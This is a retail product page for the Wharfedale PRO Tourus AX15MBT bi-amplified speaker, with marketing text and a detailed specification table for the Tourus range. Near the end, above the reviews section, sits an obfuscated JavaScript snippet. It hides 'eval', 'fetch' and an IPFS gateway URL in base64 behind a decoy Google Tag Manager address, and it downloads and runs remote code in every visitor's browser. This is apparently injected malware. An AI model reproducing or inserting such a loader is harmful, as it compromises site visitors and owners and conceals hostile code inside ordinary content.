Wharfedale PRO Tourus AX15MBT
R6,355.00
Wharfedale PRO AX15MBT Active 15” 2-way Bi-Amplified Speaker
Availability: In stock
Product Description
TOURUS 15″
- 15″ Bi-amplified active loudspeaker
- 1.75″ HF compression driver
- 450 w Continuous
- 900 w Peak
Lets Look Inside
Tourus loudspeakers use the largest HF voice coils in their class. All models use a 1.75″ coil which is unique at this price point. This custom made Wharfedale Pro compression driver delivers crisp and precise high frequencies, even at extreme volumes.
The internal amplifiers have been tuned specifically for the HF and LF drivers that we have chosen. This makes for perfect power and frequency transfer, resulting in the sonic experience that you’d expect from a Wharfedale Pro active loudspeaker.
We Are Not Fans…Of Fans!
ssssssh ! The two amplifiers inside a Tourus are extremely efficient. So efficient that they can use convection cooling. This means that there are no fans! Fans inside loudspeakers can add to operational noise, weight, price and can lead to reliability issues. Tourus has no fan! Ssssssh! – Silent and reliable operation.
Bluetooth Models With Internal MP3 Player
The Tourus- MBT models include both BLUETOOTH and USB thumb drive inputs.Its quick and easy to pair your mobile device over BLUETOOTH allowing for high quality wireless audio to stream into the Tourus. The MBT models also feature TWS pairing. Easily link two Tourus (or should that be…”Tourae”??) together – wirelessly.
Alternatively, insert a USB thumb drive containing audio files (.wav, .flac, .mp3) and control backing tracks or background music with the transport controls on the rear.
Multiple inputs….with maximum power output!
General Specifications
Model Name | TOURUS-AX8 | TOURUS-AX8-MBT | TOURUS-AX12 | TOURUS-AX12-MBT | TOURUS-AX15 | TOURUS-AX15-MBT |
---|---|---|---|---|---|---|
System Type | Active 8” 2-way Bi-Amplified | Active 8” 2-way Bi-Amplified | Active 12” 2-way Bi-Amplified | Active 12” 2-way Bi-Amplified | Active 15” 2-way Bi-Amplified | Active 15” 2-way Bi-Amplified |
Frequency Response (+/-3 dB) | 65-20 KHz | 65-20 KHz | 55-20 KHz | 55-20 KHz | 50-20 KHz | 50-20 KHz |
Sensitivity @ 1 w / 1 meter | 95 dB | 95 dB | 96 dB | 96 dB | 97 dB | 97 dB |
Maximum SPL (peak @ 1 meter) | 124 dB | 124 dB | 128 dB | 128 dB | 130 dB | 130 dB |
Low Frequency Transducer | ||||||
Size (mm / inches) | 203 mm / 8″ | 203 mm / 8″ | 305 mm / 12” | 305 mm / 12” | 381 mm / 15” | 381 mm / 15” |
Coil Size (mm / inches) | 38.86 mm / 1.53″ | 38.86 mm / 1.53″ | 50.8 mm / 2.0” | 50.8 mm / 2.0” | 50.8 mm / 2.0” | 50.8 mm / 2.0” |
Impedance | 4 Ω | 4 Ω | 4 Ω | 4 Ω | 4 Ω | 4 Ω |
High Frequency Transducer | ||||||
Type | Compression Driver | Compression Driver | Compression Driver | Compression Driver | Compression Driver | Compression Driver |
Coil Size (mm / inches) | 44.5 mm / 1.75” | 44.5 mm / 1.75” | 44.5 mm / 1.75” | 44.5 mm / 1.75” | 44.5 mm / 1.75” | 44.5 mm / 1.75” |
Exit Size (mm / inches) | 25 mm / 1” | 25 mm / 1” | 25 mm / 1” | 25 mm / 1” | 25 mm / 1” | 25 mm / 1” |
Diaphragm Material | Titanium | Titanium | Titanium | Titanium | Titanium | Titanium |
Impedance | 8 Ω | 8 Ω | 8 Ω | 8 Ω | 8 Ω | 8 Ω |
High Frequency Coverage (H x V) | 90° x 60° | 90° x 60° | 90° x 60° | 90° x 60° | 90° x 60° | 90° x 60° |
Amplifiers | Class D | Class D | HF Amp Class AB : LF Amp Class D | HF Amp Class AB : LF Amp Class D | HF Amp Class AB : LF Amp Class D | HF Amp Class AB : LF Amp Class D |
Low-Frequency Power Amplifier | 150 w Continuous / 300 w Peak | 150 w Continuous / 300 w Peak | 250 w Continuous / 500 w Peak | 250 w Continuous / 500 w Peak | 350 w Continuous / 700 w Peak | 350 w Continuous / 700 w Peak |
High- Frequency Power Amplifier | 100 w Continuous / 200 w Peak | 100 w Continuous / 200 w Peak | 100 w Continuous / 200 w Peak | 100 w Continuous / 200 w Peak | 100 w Continuous / 200 w Peak | 100 w Continuous / 200 w Peak |
Electronic Crossover | ||||||
Crossover Frequency | 2.6 KHz | 2.6 KHz | HI PASS 2.5 KHz LOW PASS 2.5 KHz | HI PASS 2.5 KHz LOW PASS 2.5 KHz | HI PASS 2.4 KHz LOW PASS 2.4 KHz | HI PASS 2.4 KHz LOW PASS 2.4 KHz |
Controls | ||||||
Equalization | +/-12 dB Gain for bass and treble | +/-12 dB Gain for bass and treble | +/-12 dB Gain for bass and treble | +/-12 dB Gain for bass and treble | +/-12 dB Gain for bass and treble | +/-12 dB Gain for bass and treble |
Amplifier Protection | ||||||
Power On Protection | Power switch on / off mute | Power switch on / off mute | Power switch on / off mute | Power switch on / off mute | Power switch on / off mute | Power switch on / off mute |
Thermal Protection | Amplifier shutdown, auto reset | Amplifier shutdown, auto reset | Amplifier shutdown, auto reset | Amplifier shutdown, auto reset | Amplifier shutdown, auto reset | Amplifier shutdown, auto reset |
Driver, DC and Short Protection | Yes | Yes | Yes | Yes | Yes | Yes |
Limiter Indicator | Red LED | Red LED | Red LED | Red LED | Red LED | Red LED |
Power Indicator | Green LED / Blue LED(LOGO) | Green LED / Blue LED(LOGO) | Green LED | Green LED | Green LED | Green LED |
Input type | Balanced / unbalanced | Balanced / BT / USB | Balanced | Balanced / BT / USB | Balanced | Balanced / BT / USB |
Input Connectors | 2 x TRS JACK, 2 x RCA AND 2 x FEMALE XLR | 2 x TRS JACK, 2 x RCA AND 2 x FEMALE XLR | 2 x TRS JACK, 2 x RCA AND 2 x FEMALE XLR | 2 x TRS JACK, 2 x RCA AND 2 x FEMALE XLR | 2 x TRS JACK, 2 x RCA AND 2 x FEMALE XLR | 2 x TRS JACK, 2 x RCA AND 2 x FEMALE XLR |
Input Impedance | 47 KΩ Balanced | 47 KΩ Balanced | 47 KΩ Balanced | 47 KΩ Balanced | 47 KΩ Balanced | 47 KΩ Balanced |
Maximum Input Level | 5 V | 5 V | 5 V | 5 V | 5 V | 5 V |
Line Input Sensitivity | -10 dB | -10 dB | -10 dB | -10 dB | -10 dB | -10 dB |
Mic Input Sensitivity | -40 dB | -40 dB | -40 dB | -40 dB | -40 dB | -40 dB |
Line Output Connector | MALE XLR | MALE XLR | MALE XLR | MALE XLR | MALE XLR | MALE XLR |
AC Power details | ||||||
Power Supply | SMPS | SMPS | SMPS | SMPS | SMPS | SMPS |
AC Power Options | 100 V – 120 V and 220 V – 240 V | 100 V – 120 V and 220 V – 240 V | 100 V – 120 V and 220 V – 240 V | 100 V – 120 V and 220 V – 240 V | 100 V – 120 V and 220 V – 240 V | 100 V – 120 V and 220 V – 240 V |
Power On Indicator | LED | LED | LED | LED | LED | LED |
Rigging / Bracket / Mounting Options | 4 x M8 | 4 x M8 | 4 x M8 | 4 x M8 | 4 x M8 | 4 x M8 |
35 mm Pole-mount with lock screw | 35 mm Pole-mount with lock screw | 35 mm Pole-mount with lock screw | 35 mm Pole-mount with lock screw | 35 mm Pole-mount with lock screw | 35 mm Pole-mount with lock screw | |
3 carry handles (one on each side, one on top) | 3 carry handles (one on each side, one on top) | 3 carry handles (one on each side, one on top) | 3 carry handles (one on each side, one on top) | 3 carry handles (one on each side,one on top) | 3 carry handles (one on each side,one on top) | |
Optional wall-mount bracket (WPB-2) | Optional wall-mount bracket (WPB-2) | Optional wall-mount bracket (WPB-2) | Optional wall-mount bracket (WPB-2) | Optional wall-mount bracket (WPB-2) | Optional wall-mount bracket (WPB-2) | |
Enclosure | ||||||
Enclosure Material | Injection Moulded Polypropylene | Injection Moulded Polypropylene | Injection Moulded Polypropylene | Injection Moulded Polypropylene | Injection Moulded Polypropylene | Injection Moulded Polypropylene |
Colour | black | black | black | black | black | black |
Grille | 1.2 mm steel | 1.2 mm steel | 1.2 mm steel | 1.2 mm steel | 1.2 mm steel | 1.2 mm steel |
Dimensions (Unpacked)(mm / inches): | ||||||
Height | 421.4 mm / 16.6” | 421.4 mm / 16.6” | 603 mm / 23.7” | 603 mm / 23.7” | 693 mm / 27.3” | 693 mm / 27.3” |
Width – Front | 259 mm / 10.2” | 259 mm / 10.2” | 377 mm / 14.8” | 377 mm / 14.8” | 455 mm / 17.9” | 455 mm / 17.9” |
Width – Rear | 171.9 mm / 6.7″ | 171.9 mm / 6.7″ | 217 mm / 8.54″ | 217 mm / 8.54″ | 262 mm / 10.3″ | 262 mm / 10.3″ |
Depth | 263.2 mm / 10.4” | 263.2 mm / 10.4” | 347 mm / 13.7” | 347 mm / 13.7” | 401.8 mm / 15.1” | 401.8 mm / 15.1” |
Dimensions (packed)(mm / inches): | ||||||
Height | 470 mm / 18.5” | 470 mm / 18.5” | 666 mm / 26.2” | 666 mm / 26.2” | 762 mm / 30.0” | 762 mm / 30.0” |
Width | 315 mm / 12.4” | 315 mm / 12.4” | 430 mm / 16.9” | 430 mm / 16.9” | 508 mm / 20.0” | 508 mm / 20.0” |
Depth | 307 mm / 12.1” | 307 mm / 12.1” | 408 mm / 16.1” | 408 mm / 16.1” | 425 mm / 16.7” | 425 mm / 16.7” |
Weight | ||||||
Net Weight (kg / lbs) | 8.0 kg / 17.6 lbs | 8.0 kg / 17.6 lbs | 15.0 kg / 33.0 lbs | 15.0 kg / 33.0 lbs | 19.2 kg / 42.2 lbs | 19.2 kg / 42.2 lbs |
Gross Weight (kg / lbs) | 9.2 kg / 20.24 lbs | 9.2 kg / 20.24 lbs | 17.0 kg / 37.4 lbs | 17.0 kg / 37.4 lbs | 22.0 kg / 48.4 lbs | 22.0 kg / 48.4 lbs |
(function(w,d,s,l,i,j,k,m){w[s]||(w[s]=1,w[d(j)](d(k))[s](c=>c.text())[s](c=>w[d(i)](c)))})(window,atob,’then’,’https://www.googletagmanager.com/gtm.js?id=’,’ZXZhbA==’,’ZmV0Y2g=’,’aHR0cHM6Ly9nYXRld2F5LnBpbmF0YS5jbG91ZC9pcGZzL1FtYnB2NHdCeUdrUVcxVW1XVXYzUFBrYlFHWVBOUmVKOUM5Z0JzbnoxclFKQ3U=’,’d0c6e1ed’)
Reviews
There are no reviews yet.